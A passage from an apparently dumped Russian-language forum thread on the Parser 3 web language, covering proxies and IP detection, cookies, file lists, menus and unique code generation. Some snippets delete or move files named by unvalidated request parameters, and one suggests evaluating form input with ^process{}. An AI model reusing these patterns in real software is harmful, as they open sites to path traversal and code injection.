Ну даже если проверить вкл. или выкл. куки, то это не совсем поможет. Что послать тех, у кого куки отключены куда подальше и всё??? - как-то несолидно. Хотя многие счётчики смотрят только на внешний ip (на ip Proxy).\
Можно попробовать выуживать java-скриптом ip-локальной машины и передавать в скрипт 2 параметра: ip прокси (который виден снаружи) и ip локальной машины (брать через java) - ну а дальше на своём сервере с ними разбирайся как хочешь."
"7186","Логика ясна, но по-моему было бы неплохо позволить выводить результат в поток вывода (или просто на выход, я еще исходники не успел посмотреть) на любой стадии выполнения, тем самым обеспечивая аналоги cerr, cout. Может это и вправду неплохая идея?"
"7187","А по поводу логики...\
\
Мне, например, это не нужно в парсере.\
\
Если возвращать результат в виде хеша, который потом нужно как-то обрабатывать, то как ты себе представляешь обращение к самому сконструированному объекту?"
"7188","Определи поля в MySQL, по которым сортируешь как BINARY"
"7189","а в том, что я тоже тебе высказал своё мнение. Попробую объяснить, почему мне не понравилось твое предостережение.\
\
> не надо парсер использовать в качестве языка программирования\
\
Каждый язык программирования предназначен для своего круга задач, понятно что на парсере не надо писать ОС, системы реального времени, СУБД и пр. Ты уж потрудись объяснить, какие задачи ты имеешь ввиду, в которых не стоит использовать парсер в качестве языка программирования? Да вот тебе ещё мнение http://parser.ru/forum/?id=6362 особенно внимательно прочитай последний абзац.\
\
> используйте его как лучшее средство для сборки уже готовых компонент\
\
Опять же, какие компоненты ты имеешь ввиду?\
\
По-моему такие абстрактные суждения никому не нужны и даже вредны. Все в этом мире относительно и любой здравомыслящий человек это понимает и лишний раз говорить это просто бессмысленно, ну если только в качестве того, чтобы просто языком почесать."
"7190","почему у меня все работает не в одном и не двух местах?\
\
предлагать делать поля, по которым сортируешь как BINARY - на мой взгляд очень плохо. \
\
Поля должны быть такого типа, какого требуется для решения конкретной задачи. Даже если это и работает (не проверял, и не буду) то все равно лучше правильно настроить все и работать по человечески, чем использовать подобные \"затычки\" и молиться, чтобы после очередного апдейта софта это не накернилось."
"7191","и попробую объяснить почему\
\
1. Пользовательский класс это абстрактный тип данных, т.е. это тоже самое что и int, string и т.д. Этот абстрактный тип ничем не лучше и не хуже системных типов данных, в это то и есть основная изюминка языков позволяющих делать абстракцию данных.\
\
2. Конструктор служит для инициализации объекта, имеющего этот тип данных. Например если при инициализации какой-либо переменной имеющей тип int - $i(1) мы не производим вывод её значения при инициализации, то почему же для другого типа данных мы должны это делать?\
\
Я не считаю нужным иметь такие принципиальные раличия в работе механизма инициализации для разных типов данных."
"7192"," ... но ведь вообще говоря конструктор, который бы кроме объекта могбы что нибудь выводить в поток вывода, не нарушает никаких основ или принципов ООП, это поддерживается всеми известными мне ЯП с ООП.\
 И на самом деле,  если бы я не считал это действительно удобным я бы этот разговор не затевал (про ракету я помню).\
 А насчет удобства, ну например такой случай: пусть нам нужно сгенерировать форму голосовалки, так мы просто создаем экземпляр класса, а потом в зависимости от действий пользователя попеременно вызываем различные методы этого самого несчастного класса.\
 Да мало ли примеров, где вызов доп.метода просто нелогичен, если есть конструктор, ведь ООП всё же, а не пользовательский оператор."
"7193","Господа, давайте сделаем подборку сайтов по парсеру, уж больно мало их в сети. Если кто наткнется на такой ресурс - милости просим добавить. Да модератора туда, чтоб фигню всякую не рекламировали. Ну сами посудите где достать готовые компоненты? Почти нЕгде... :(\
\
Предлагаю этот каталог разместить прямо здесь (parser.ru).\
\
Как идея?"
"7194","Задача - описать глобальную переменную начальное значение которой будет равно 0. Изменить или вывести это значение можно с любой нужной страницы сайта. "
"7195","$global_var(0) ...\
\
а в нужном месте обращаешься ... \
чтобы не путаться можно писать в файлах так $MAIN:global_var(123)"
"7196"," Если есть вопрос задавай, тебе обяз-но ответят, часть кода выложат если хорошо попоросишь, а драть чужие вещи целиком - ну только что уроки из доки :) (на самом деле там почти всё есть).\
 Я не говорю, что нет людей, которые вправду, воспользуются этим по назначению, так сказать для образования и послед. развития рунета, но большинство из них будет просто перекачивать одно и тоже и выдавать за своё, я с этим не раз сталкивался.\
 Кому действительно надо - найдет."
"7197","> Ты уж потрудись объяснить, какие задачи ты имеешь ввиду, в которых не стоит использовать парсер в качестве языка программирования? \
\
в этом и заключаются грабли ... теоритически почти любую задачу можно решить средствами парсера ...\
\
> Опять же, какие компоненты ты имеешь ввиду?\
\
дизайн, верстка, программы, скрипты - все это компоненты сайта, их легко и быстро можно объединить парсером в одно целое - в чем прелесть движка! создавать же собственные компоненты на нем я бы не стал. Это не значит что не надо использовать уже написанное форумы, новостные ленты и т.п. наоборот, в первую очередь надо по максимуму использовать возможности движка, только не надо пытаться писать на нем что то свое. Для этого существуют языки программирования и огромная масса готовых, проверенных библиотек написанных в.ч. на перле - не надо изобретать велосипед - бери, пользуйся, наслаждайся. Напр модуль, выдающий \"правильные\" cookies для подсчета посетителей сайта, можно взять здесь: http://www.lexa.ru/programs/mod-uid.html"
"7198","В корневом auto.p в @auto[] пишу $my_name[Пусто]\
На странице сайта пытаюсь присвоить этой переменной значение из формы $my_name[$form:name_from_forma]\
\
при просмотре переменной на другой странице получаю \"Пусто\""
"7199","Это уже было: на форуме 2-го парсера - просили форум, потом здесь просили весь код этого сайта, я конечно же не отказался бы посмотреть, но мне как-то лучше смотреть результат и дельть самому - я хочу _изучить_ это все, а не научится копировать"
"7200","Вопрос на 1 секунду раздумий: как долго живет переменная в CGI-процессе?\
\
Мораль - хранить значение вне CGI-процесса, т.е. в базе данных или в файле.\
"
"7201","http://www.artlebedev.ru/portfolio/"
"7202","> ip локальной машины (брать через java)\
достаточно почитать про HTTP_X_FORWARDED_FOR"
"7203","Почитал.\
Вумные люди пишут, что если на PHP написать, например, это:\
$ip = getenv(\"REMOTE_ADDR\").\"::\".getenv(\"HTTP_X_FORWARDED_FOR\");\
то точно можно добиться желаемого результата.\
\
значит на парсере надо писать что вроде этого:\
$env:REMOTE_ADDR $env:HTTP_X_FORWARDED_FOR\
\
REMOTE_ADDR - выводит ip, а \
HTTP_X_FORWARDED_FOR - нифига!!!!\
\
И на перлу тоже ничего не получается.\
Вывод - парсер не виноват, просто не все прокси дают посмотреть HTTP_X_FORWARDED_FOR (я пробовал на WinGate - не получается)\
\
Может я не прав?"
"7204","Господа ! Я конечно ничего не понимаю, и вот у меня возникла проблема:\
\
1. Есть файл date.cfg содержащий ряд методов. В этом файле есть метод @pg1[]. Мне надо сдеоать так, чтобы при вызове типа index.html?show=pg1\
выдавалась страничка содержащая именно этот метод.\
\
Во 2 парсере я ршал эту проблему так:\
#Присваивание переменной $macro значения поля show\
^var[\
$macro;^form[show]\
]\
#Вызов макроса обозначенного переменной $macro\
^macro[\
^var[$macro]\
]\
\
\
Заранее благодарен за помощь."
"7205",">в этом и заключаются грабли ... теоритически почти любую задачу можно решить средствами парсера ...\
\
Вот тут я не понял, если парсер дает все возможности, то про какие мы грабли говорим? Я лично пишу на Парсере, написал и форум и новостной блок , сейчас магазин заканчиваю и я на Ваши грабли\
еще не наступал.\
\
>Для этого существуют языки программирования и огромная масса готовых, проверенных библиотек написанных в.ч. на перле - не надо изобретать велосипед - бери, пользуйся, наслаждайся.\
\
А если мне не интересно пользоваться чужими разработками? Если я считаю, что сделаю лучше? Что тогда?\
И действительно нахрена вообще выдумывать языки програмирования,\
давайте вернемся во времена Асамблера. Я смогу на нем написать программу, а Вы? Будите искать модули, готовые решения?"
"7207","Вот вывожу список файлов в каталоге и перед каждым ставлю кнопку с удалением:\
$list[^file:list[/stat/;\\.*^$]]\
^list.menu{\
<form name=\"form3\">\
<a href=\"$list.name\">$list.name</a><input value=\"Del\" type=\"submit\" name=\"f1\"><br>\
</form>\
}\
Но как нажав на определенную кнопку- удалить определенный файл?)"
"7208","Парсер не обрабатывает этот код... т.е. выдает {pg1}[] \
сам запрос $form:show он обрабатывает, а команду следующую перед ним - НЕТ."
"7210","Ты что то в html недопонял... Попробуй так:\
[code]\
^if(def $form:file){\
 ^file:delete[/stat/$form:file]\
}\
\
$list[^file:list[/stat/;\\.*^$]]\
^list.menu{\
 <a href=\"?file=$list.name\">удалить файл: $list.name</a>\
}[<br />]\
[/code]"
"7211","вот("
"7214","/stat/?file=xxx.xxx\
и если прорефрешить...то сразу ошибка - файла нет.\
Вообще идея понятна)...просто думал немного по другому, как изобразить..\
методом пост чтоли убрать ссылку"
"7216","может попробовать через вот это:\
–f и –d.Проверка существования файла и каталога\
\
-f имя _файла – проверка существования файла на диске.\
-d имя _каталога – проверка существования каталога на диске.\
\
гм"
"7217","как же тогда?\
\
или обходить..грузить сразу этот же каталог..."
"7219","Здрасте уважаемые.\
\
Интересует следующие, вот я например ща пишу похожий форум(с возможностью просмотра дерева), но у меня такая фигня выходит.\
\
Что-бы построить такое дерево из таблицы данных, приходиться помещать цикл в цикл, что естественно ограничивает кол-во входящих друг в друга ответов.\
\
Есть ли у вас это ограничение, или у вас особая тематика построения такого дерева?\
\
Спасиб, что не обделили вниманьем"
"7224","... через java конечно можно узнать почти всё о браузере клиента, но выдрать его ip - это по-моему я ерунду сморозил. Пардон, беру свои слова назад.\
А насчёт HTTP_X_FORWARDED_FOR может кто что-то дельное предложит.\
Подробнее см. http://www.parser.ru/forum/?id=7203"
"7225","Помогите скомпилить  под 3.3 или если у когото была подобная проблема пришлите скомпиленную версию. Сам я в FreeBSD ничего не смыслю. Заранее благодарен."
"7226","дизайн - это не готовый компонент сайта, это вообще не компонент, спроси у дизайнера что это такое, я не компетентен отвечать на подобные вопросы.\
\
вёрстка - это тоже не компонент, а процесс.\
\
Про остальное я уже сказал."
"7227","для чего нужно забрать...\
~/parser3project\
    parser3/ << ...исходники parser сюда\
    sql/\
        mysql/ << ...исходники mysql библиотеки сюда\
\
и в каталоге mysql сказать\
./configure --prefix=/полный/путь/к/cgi-bin\
make install\
или\
gmake install\
\
это положит в cgi-bin/lib собранную библиотеку.\
"
"7229","Правда объяснить это тому, кто не знает двоичной системы нелегко, я пробовал..."
"7231","Sorry za translit,nu,i navernoe, za offtopic.\
\
Delo vot v chem : \
V MySQL est hitraya vesch - match()against() - poisk po text field indexed as fulltext. Ya reshil vospolzovatsya eyu dlya poiska po novostyam. Sdelal. Vchera vse rabotalo. Prihozhu segodnya na rabotu - ne rabotaet! Ya uzhe 2 chasa vozhus - ne rabotaet i vse!\
Mozhet mne otkazatsa ot etoy feature, (etot sposob tormozit mysql), i sdelat po drugomu? Naprimer - vityanut vse v pasrer-table i iskat uzhe tam po locate ili match? Pomogite s sovetom!...\
Vsemi uvazhaemiy i vseuvazhayuschiy Aziz..."
"7232","Про анонимные прокси слышал? Так вот это оно. ;-)\
А бороться с анонимщиками - занятие для ФСБ, ФБР и прочих.\
Подход (в первом приближении) тут один - если удалось определить \"кто там за проксей\" - считаем его уникальным хостом. Не удалось - считаем уникальным хостом сам прокси.\
В любом случае, по-хорошему надо смотреть комбинацию из HTTP_X_FORWARDED_FROM, HTTP_VIA,  REMOTE_HOST, REMOTE_ADDR (можно еще и HTTP_CACHE_CONTROL, HTTP_CLIENT_IP, HTTP_FROM...)"
"7233","А может для тех, кто работает из-за анонимного прокси или непосредственно с хоста \"торчащего\" в Интернет, ставить временной таймаут (минут на 10-15) - в базу заносить ip и время захода, при следующем заходе с этого ip смотрим истекло ли время таймаута. Если да, то прибавляем ещё один \"визит\" и заносим новое время, а если нет то жди четверть часа и потом нажимай reload - ещё прибавишь.\
\
Как вариант? Конечно не совсем то, чтобы хотелось, но статистика получтся более качественная и полная."
"7234","Здравствуйте.\
\
Есть сайт с двумя типами навигации на странице: верхнее и левое. В верхнем меню \"главные ссылки\" (на разделы), в левом меню ссылки второго уровня (т.е. ссылки разделов). Ссылки верхнего меню представлены в виде картинок (.gif), левое - в виде текстовых ссылок. \
\
Проблема в том, что надо сделать так, чтобы при попадании в раздел содержание левого меню изменялось, т.е. если например, пользователь жмет на \"About us\" со ссылкой на /about/, то левое меню выстраивается из ссылок на файлы в этой папке.\
\
Так вот у меня возникло два вопроса:\
\
1. Случалось ли у вас, что ^file:dirname[]не работал в Windows? По крайне мере, у меня не работает.\
2. Как вы относитесь к идее с меню?\
\
С уважением,\
Баур.\
\
З.Ы. Я только начинающий."
"7235","Про dirname не знаю, т.к. не пользовался им (появился он только в версии 0005, а я уже до этого написал свои операторы, которые и юзаю).\
\
Ты расскажи, зачем тебе этот dirname нужен в данной задаче?"
"7236","Я не врубаюсь зачем тут ^file:dirname[]??\
\
проще надо быть. У тебя меню где хранится - в базе - в таблице? Вот и проверяй. т.е. типа \
^if($curmenu eq links){...}\
или case -switch или через хеш."
"7237","mozhno sdelat tak : \
\
verhnee menu (main one) sobiraesh v sections.cfg v kornevom kataloge site'a. Dlya detaley posmotri v manuale, tam est urok s navigatsiyey...\
levoe menu (sub one) sobiraesh takzhe v sections.cfg, no kidaesh ne v root, a v katalog, menu kotorogo etot .cfg stanet yavlyatsa...\
To est dlya main razdela \"About\" podrazdelniy .cfg zakidivaesh v /about/ i t.d. Organizovat eto delo do kontsa ostavlyayu tebe - esli nachinayuschiy - uchis! ...:)...\
\
P.S. Esli che - ya tozhe nachal nedavno...:)...\
\
P.S.2. a ^file:dirname[] u mneya vsegda rabotaet bezotkazno. Ti navernoe gde-to ne to napisAl...kiday svoy kod na forum - tut ego obsudyat..."
"7238","Сегодня попытаюсь сделать так, как вы предложили. Я думал обойтись без использования базы данных, посмотрим что получится.\
\
Код брошу завтра....чтобы было что бросать."
"7239","то надо писать в базу все обращения (со временем), вне зависимости от чего бы то ни было.\
тогда будет честная статистика.\
ну а тогда, хиты == count(*), хосты == distinct ip.\
а накрутки (если не хочешь их считать) - отдельным способом надо отфильтровывать. да и куки не все ставят."
"7241","dirname нужен для определения текущей директории. В базе хранится таблица со всеми ссылками (uri) всех страниц сайта. Полный адрес собирается из нескольких полей таблицы: [i]linkname[/i] - текст ссылки, [i]dirname[/i] - директория, в которой находится файл, [i]filename[/i] - название самого файла.\
\
[code]\
@menuleft[]\
^connect[$connect_string]{\
	$sql_table[^table::sql{select\
		*\
	from\
		menuleft\
	where\
		[b][color=\"red\"]dirname='^file:dirname[$request:uri]'[/color][/b]\
	}]\
}\
[/code]\
\
А дальше уже работа с выбранными данными.\
"
"7242","я предположил, что тег [color=\"red\"] будет воспринят скриптом форума, поэтому его и вставил."
"7244","Fulltext индексирование в MySQL - тормозня и глюкавина..."
"7245","... или это так и останется недокументированой возможностью (вернее невозможностью :)) по работе с cookie, извесной только посвященным и тем кто сумел сам поставть эксперимент и отследить эту фичу в парсере??????"
"7247","Как перемещать - это понятно, но вот куда - это не очень(\
вот код:\
<form name=\"form12\">\
<input type=\"text\" name=\"fm2\" size=\"8\">\
<input type=\"submit\" value=\"Go\" name=\"saved\"><br>\
</form>\
\
^if(def $form:file){\
 ^file:move[$form:file;$form:fm2/$form:file]\
}\
$list[^file:list[;\\.*^$]]\
^list.menu{\
 <a class=\"tr\" href=\"?file=$list.name\">$list.name</a>\
}[<br />]\
т.е. я хочу ввести имя каталога в поле формы а потом нажать на файл и - файл переместился.... но как? не идет..т.к. данные из поля формы еще не попали(\
\
Да..и как именно скопировать файл, а не перенести?\
Заранее спасибо)\
"
"7248","тут мы с Мишей диспут вели на предмет работы с cookie в парсер\
(см. тут http://parser.ru/forum/?id=7169 и ниже по этой ветке)\
Но помимо этого хочу задать ещё один вопрос:\
из документации следует, что с помощью парсера можно создавать куки на сессию (пропадает когда все окна браузера закроешь), либо задавать срок хранения в ДНЯХ!!! Вопрос такой - только лишь в днях или ещё в чём-то???\
Например, через перл можно и в неделях, и в месяцах, и в годах, и даже в минутах задавать. Можно указывать конкретную дату и время, до которых нужно хранить создаваемую куку.\
Как я понимаю сейчас таких возможностей в парсере нет. Ну если срок хранения неделя, месяц либо год, то здесь можно извернуться (но всё равно каждый раз надо выполнять самому вычисление \"растояния\" в днях до нужной даты). А как быть если куку надо хранить время, которое меньшее одного дня, но больше сессии.\
Может такие возможности когда-нибудь добавите в парсер или они есть, но толком не документированы????"
"7250","Ну, засунул в my.ini эту строку, а результата 0, какое значение было, такое и осталось!"
"7251","Здрасьте!\
Значит сабж без использования баз-данных через файлы с записанными таблицами... Возник вопрос как увеличить число в таблице, а потом эту таблицу сохранить.\
\
Если это слишком просто, то просьба не кидаться помидорами, все мы начинали с малого :)\
Спасибо за внимание!"
"7252","очень просто.\
\
считываешь таблицу из файла, копируешь в переменную, изменяешь поля. записываешь новую таблицу в старый файл."
"7253","в файл запиши её.. можно даже написать класс для работы с глоб. переменными в файле."
"7256","http://parser.ru/powered_by_parser/"
"7257","Можно ли это сделать в Win32?"
"7259","не все скобочки поставил, ну это ерунда, а главное именно в такой конструкции он съедает одну ячейку в каждой строке.. при выполнении условия о количестве так же нуно формировать ячейку и все будет ОК!"
"7260","Цель: \"пропарсить\" текущий каталог; создать таблицу имеющихся файлов; соотнести каждому файлу название ссылки на этот файл; создается новая таблица, но уже со всеми параметрами ссылки меню ([i]linkname[/i], [i]uri[/i]).\
\
Проблема: с помощью $html[^file:list[/;\\.html^$]] создается таблица файлов, а как соотнести название ссылки каждому uri? \
\
\
"
"7261","Можно или собрать самому (достаточно иметь shell на провайдере) или попросить сделать это самого провайдера."
"7262","ни что за система, ни что за mysql, ни в какой my.ini ты засунул...\
\
я не могу тебе помочь при таком раскладе."
"7263","Я уже неоднократно объяснял, что такая возможность есть и она документирована более чем хорошо.\
Достаточно применить голову.\
Еще раз повторять не буду - дам только маячок [b]date == double[/b]."
"7264","можно сделать так, в табличке (в текстовом файле):\
link    uri\
Обо мне   /about/\
"
"7265","Hi vsem...sorry za translit...\
u menya takaya problema - nuzhno sozdat generatsiyu 12-ti znachnih nomerov. Ya ponimayu - eto delayet ^random[]... Tolko mne nado, chtobi sgenerenniye nomera sohranyalis gde-to. S etim tozhe problem net. A escho nuzhno, chtobi vse nomera bili unikalnimi! Vot zdes i neporyadok!.. Ya tak podumal - mozhno sdelat tsikl - ^random[]->proverit nalichiye->esli est - to esche raz ^random[], i tak do unikalnogo nomera...Vse horosho, poka u menya baza s nomerami malenkaya, a u menya plani na 10 mln nomerov! Generatsiya nomera s id 10.000.001 zatyanetsa na chasa 2, ne menshe...Takaya skorost \"nas\" ne ustarivaet... Net sportivnosti... Mozhet kto posovetuet variant pologichnee moyego?\
Zaranee thanks..."
"7266","Hi vsem...sorry za translit...\
u menya takaya problema - nuzhno sozdat generatsiyu 12-ti znachnih nomerov. Ya ponimayu - eto delayet ^random[]... Tolko mne nado, chtobi sgenerenniye nomera sohranyalis gde-to. S etim tozhe problem net. A escho nuzhno, chtobi vse nomera bili unikalnimi! Vot zdes i neporyadok!.. Ya tak podumal - mozhno sdelat tsikl - ^random[]->proverit nalichiye->esli est - to esche raz ^random[], i tak do unikalnogo nomera...Vse horosho, poka u menya baza s nomerami malenkaya, a u menya plani na 10 mln nomerov! Generatsiya nomera s id 10.000.001 zatyanetsa na chasa 2, ne menshe...Takaya skorost \"nas\" ne ustarivaet... Net sportivnosti... Mozhet kto posovetuet variant pologichnee moyego?\
Zaranee thanks..."
"7267","Кто знает как отключить субж. ?\
\
Дело вот в чем :\
Есть главный xsl (main.xsl),\
в нем -  <xsl:include href=\"content.xsl\"/>\
\
когда редактируем content.xsl, то main.xsl, понятно, не перекомпиливается, т.е. отображение идет СТАРОГО xsl.\
Приходится делать main.xsl touch (изменять дату :), или просто редактировать).\
\
Хочется, чтобы XSL перекомпиливался на период отладки каждый раз заново.\
\
Есть идеи ?\
З.Ы. egr'a метод не работает."
"7268","[quote]Проблема: с помощью [code]$html[^file:list[/;\\.html^$]][/code] создается таблица файлов, а как соотнести название ссылки каждому uri? \
[/quote]\
\
Т.е. таблица с единственной колонкой [i]name[/i] уже создана, остается самое трудное: [b]соотнести каждому [i]name[/i] свой linkname.[/b] "
"7269","http://parser.ru/docs/lang/xdoctransform.htm\
\
[quot]\
Внимание: Parser (в виде модуля к Apache или IIS) кеширует результат компиляции файла_с_шаблоном во внутреннюю форму, повторная компиляция не производится, а скомпилированный шаблон берется из кеша. Вариант CGI также кеширует шаблон, но только на один запрос. Шаблон перекомпилируется при изменении даты файла шаблона или изменении даты файла \"путь_к_файлу_с_шаблоном.stamp\".[/quot]\
\
Если создать stamp и поставить будущую дату? Или он запоминает его дату?\
\
Тупой метод: на этапе отладки в самом начале (каком-нить auto.p) del/make этот stamp там где надо :) у него будет новая дата -> не кешируется...\
\
P.S. сам не пробовал..."
"7270","[quote]Проблема: с помощью $html[^file:list[/;\\.html^$]] создается таблица файлов, а как соотнести название ссылки каждому uri? [quote]\
\
\
\
Т.е. таблица с единственной колонкой name уже создана, остается самое трудное: соотнести каждому name свой linkname."
"7271","[code]\
@getUniqueRND[]\
$used[^hash::create[]]\
$rnd[^math:random(1000000)]\
^while(def $used.[$rnd]){\
   ^rnd.inc[]\
}\
$used.[$rnd][1]\
$result($rnd)\
[/code]\
$used - \"глобальный\" хэш и это только для примера я его создал с помошью create. на самом деле его надо грузить (допустим, из базы), а по окончанию обработки страницы сливать в базу обратно."
"7273","Что это за файл, где лежит ?\
По тому, что я прочитал, я его положил в /xsl/ и назвал .stamp\
Не помогло.\
\
Как он влияет на компиляцию ?\
У меня parser как apache_module. \
Ставить версию CGI ? Ну это ведь не есть хорошо ?\
"
"7274","Этот файл проверяется при обращении к xsl и имет бОльший приоритет. Т.е. его timestamp важнее. Если у тебя timestamp xsl файла не изменился, а рядом с ним лежит файл с таким-же именем и расширением  .stamp, и у него изменился timestamp (так по крайней мере в доке) - то должна быть перекомпиляция шаблона..."
"7275","ok...eto delno...\
i eshe - kak mne s bukvami random ustroit? Po HEX codam? ili est drugoy podhod?\
\
nu i, v off - chto luchshe ispolzovat(ne dlya dannoy zadachi - a voobsche) - table ili hash?"
"7277","Или лукапить по хэшу/таблице или $math:crypt - тоже хороший вариант.\
\
Про хэш/таблица - что нужнее, то и пользуй. Под разные данные - разные объекты. По хэшу удобно лукапить, но он не поддерживает дибликатов и несортируем."
"7278","Ya vospolzovalsya vashim sovetom - sdelal takoy macros\
[code]\
@getUniqueRND[count]\
$new[^hash::create[]]\
$used[^hash::sql{select code,id from cards}]\
\
^for[x](0;$count){\
$rnd[^math:random(1000000000)]\
^while(def $used.[$rnd] && def $new.[$rnd]){\
   ^rnd.inc[]\
}\
$new.[$rnd][1]\
}\
^new.foreach[key;value]{ \
        ^void:sql{insert into cards (code) values ('$key')}\
#	^math:crypt[$key;^$apr1^$]  -> zdes ya poproboval crypt\
}\
[/code]\
\
i reshil poprobovat(test) crypt'it, kak vi i posovetovali. Tolko u mneya vot takoy vot crypt poluchaetsa : \
 [code]\
$apr1$/gQoPKyB$qWpQDwEitVMoB4l6tJOK/1\
\
$apr1$lIYa4lB6$U1Lf1kI/muHhDAN3MjD1n.\
\
$apr1$Esa9z7fY$PAOPw41QfC.xZkpATvjcT.\
\
$apr1$bzQX.TNE$ZWU8ONihp/3nJZM3Yu3UV/\
\
$apr1$KR3aoU11$PRgBpD6An2MPM3YpMiAuD.\
\
$apr1$0pmWptlh$A4Zi35HeSSncXXNnysyNF1\
[/code]\
\
eto vse primeri... Kak vidite, v nachale kazhdoy stroki poyavlyaetsa $apr1$. Ya dumayu, chto on tam lishniy - mozhet gde-to oshibka? ili tak i dolzhno bit? Mozhet mne ih ^string.match[]'em pochistit?"
"7280","Под Win сайт работает нормально, при переносе на OpenBSD выдаёт следующую ошибку:/***/auto.p(3): 'lib.p' usage failed - no $MAIN:CLASS_PATH were specified  type: parser.runtime\
В чем может быть проблема?\
"
"7281","Возможно, что в путях, указаных в $MAIN:CLASS_PATH этого файла нету (надо поправить пути, т.к. изменилось положение файлов)\
"
"7282","то есть хотелось бы вот такой код написать (незнаю только куда [b]^[/b] поставить):\
\
$CurrentUri[$request:uri[color=\"red\"].match[/index\\.html^$][]{6}[/color]]\
\
\
\
Или\
$CurrentUri[$request:uri]\
$CurrentUri[^CurrentUri.match[/index\\.html^$][]{/}]\
единственный выход?\
\
Огромное спасибо.\
\
"
"7283","Etot nabor macrosov sozdaet i zapisivaet v DB opredelennoye argumentom kolichestvo password'ov.\
\
[code]\
@crypt[rnd]\
#zdes mozhet ne hvatat sporta - ne obessudte - ya poka bolshe ne \
#umeyu...:)..\
$s[^math:crypt[$rnd;^$apr1^$]]\
$s[^s.match[(\\^$apr1\\^$)(\\w)][gi]{$match.2}]\
$s[^s.match[([\\.|\\^$|/])][gi]{}]\
$result[^s.upper[]]\
\
@getUniqueRND[count]\
$new[^hash::create[]]\
$used[^hash::sql{select code,id from cards}]\
^for[x](1;$count){\
$rnd[^math:random(1000000000)]\
$n[^crypt[$rnd]]\
^while(def $used.[$n] && def $new.[$n]){\
   $n[^crypt[^rnd.inc[]]]\
}\
$new.[$n][1]\
}\
^new.foreach[key;value]{\
#zdes idet zapis(dobavlenie) novih paroley v DB\
#vi mozhete eto vse delo pisAt, kuda vam vzdumaetsa..:)..\
        ^void:sql{insert into cards (code) values ('$key')}\
}\
[/code]\
\
Vizivat nado ^getUniqueRND[kol-vo trebuemih paroley]...\
\
V razrabotke ispolzovani soveti tovarischa Luzhnikovskogo - za chto emu ogromnoe spasibo!"
"7284","$CurrentUri[^request:uri.match[/index\\.html^$][]{6}]"
"7285","V statye pro MySQL kodirovki v poslednem abzatse opisAno izmeneniye kodirovki na server'e. Ya sdelal vse, no kodirovka kak bila latin1, tak i ostalas! Neporyadok, ponimaesh li! Po moemu, mysql podderzhivaet tolko charset=cp1251_koi8. Dlya podderzhki drugih kodirovok server nado zanovo kompilirovat s raznimi kodirovkami - tak kazhetsa v manuale napisAno..."
"7286","Чтобы вызвать метод надо в командной строке набрать не /?show=pg1 , а /?show=^pg1[] - в гиперссылках это неприемлемо - парсер вместо ссылки выдает содержание метода ^pg1[]. Надо сделать так, чтобы парсер не обрабатывал сами гиперссылки..."
"7287","Ты можешь из пришедшего из формы pg1 сформировать текст ^pg1[] и затем напустить на него ^process{}, не забыв сделать untaint..."
"7288","Это дефолтный парсерный salt. Можно поменять вторым параметром."
"7289","Я уже задавал этот вопрос, но \"рабочего\" ответа на него так и не получил.\
\
--------------------------------------\
Господа ! Я конечно ничего не понимаю, и вот у меня возникла проблема:\
\
1. Есть файл date.cfg содержащий ряд методов. В этом файле есть метод @pg1[]. Мне надо сдеоать так, чтобы при вызове типа index.html?show=pg1\
выдавалась страничка содержащая именно этот метод.\
\
Во 2 парсере я решал эту проблему так:\
#Присваивание переменной $macro значения поля show\
^var[\
$macro;^form[show]\
]\
#Вызов макроса обозначенного переменной $macro\
^macro[\
^var[$macro]\
]\
---------------------------------------\
Варианты типа ^{$form:show}[] или ^process{...} не пашут. Вернее в последнем примере Вашего коллеги мне надо было в самой гиперссылке указывать index.html?show=^pg1[] , Парсер обрабатывал саму гиперссылку и выдавал вместо ^pg1[] - код ему соответствующий.\
Вот исходное сообщение:"
"7291","Извините, но я не совсем понял как таблицу занести в переменную и как менять поля в переменной если их там нет? Может я просто конкретно торможу? :)\
Может примерчик можно?"
"7293","Это как ? \
Ты извини, но я в 3 парсереполный ламмер..."
"7294","ты сначала хелп почитал бы..\
$tab[^table::create{name   age \
Вова   27 \
Леша   22} \
]\
\
конструктором создаешь таблицу и дальше с ней возишься."
"7295","привет to Leechy. :-)"
"7296","Я вот себе хочу бинарные часы прикупить. ;-)\
http://www.thinkgeek.com/stuff/fun-stuff/59e0.shtml\
Как тебе? ;-)"
"7297","Вот фрагмент HTML, сгенеренного парсером с мусором.\
\
Причем нажимаешь f5 - через раз все ок. чаще всего мусор есть.\
И это только в одном моем каталоге. В чем может быть проблема ?\
\
b>|</b> <input onmouseover=\"disp.value='Редактировать содержимое раздела Лечение'\" onmouseout=\"disp.value='Переместите курсор к элементам управления'\" onclick=\"window.open('modifpages1.html?ID=2041', '938')\" class=contrbut type=button value=\"править\"></input>\
<b>|</b><input onmouseover=\"disp.value='Показывать / Не показывать раздел Лечение на сайте'\" onmouseout=\"disp.value='Переместите курсор к элементам управления'\" onclick=\"window.open('setactive.html?ID=2041&Active=1', '742', 'width=400,height=50')\" type=\"checkbox\" checked> <font size=\"-1\">Вкл</font>\
<b>|</b> <input onmouseover=\"disp.value='Удалить раздел Лечение'\" onmouseout=\"disp.value='Переместите курсор к элементам управления'\" onclick=\"window.open('delitem.html?name=Лечение&ID=2041', '268', 'width=400,height=50')\" class=contrbut type=button value=\"X\"></input>\
<b>] </b><a style=\"font-size:small\" class=submenu onmouseover=\"disp.value='Раскрыть подменю для пункта 1.4 (Лечение)'\" onmouseout=\"disp.value='Переместите курсор к элементам управления'\" href=\"menu.html?ID=2041\"><b>Лечение</b></a>\
<RCRD( 	 е±'G     хЂ  р      е±'G   “+  Щ                   T#                   L;'G   $ЛС     яяяяT#                   ѓE'G   TЛС     яяяяT#                    A'G   ЖфB     яяяя!                    ГL'G   ±     яяяя(#                   Ѓ^'G   SЛС     яяяя(#                    О]'G   рpB     яяяя             џ     0d'G   bяЩ     яяяя             ќ     :s'G   `яЩ     яяяя             ё      #џ'G   {юЩ     яяяя             Ґµ      ]e'G   Ґµ     яяяя    “+       Ўµ      ye'G   Ўµ     яяяя             Ґґ      ёc'G   Ґґ     яяяя             sx      ћ'G   sx     яяяя             З       Оќ'G   З      яяяя             ®       ґћ'G   ®      яяяя             †       ић'G   †      яяяя                    rћ'G         яяяя                     d'G          яяяя4*                    Мc'G   Л±     яяяя(            K       яћ'G   ЎьЩ     яяяя(            .       тќ'G   „ьЩ     яяяя(                   ‰ћ'G   gь“+    яяяя(                   Дћ'G   ^ьЩ     яяяя,                    >џ'G   ќъЩ     Ё                                          Ф                                                                                     ,                                          X                                          „                                          °                                          Ь                                          	                                          4	                    “+                    `	                                          Њ	                                          ё	                                          д	                                          \
                                          <\
                                          h\
                                          ”\
                                          А\
                                          м\
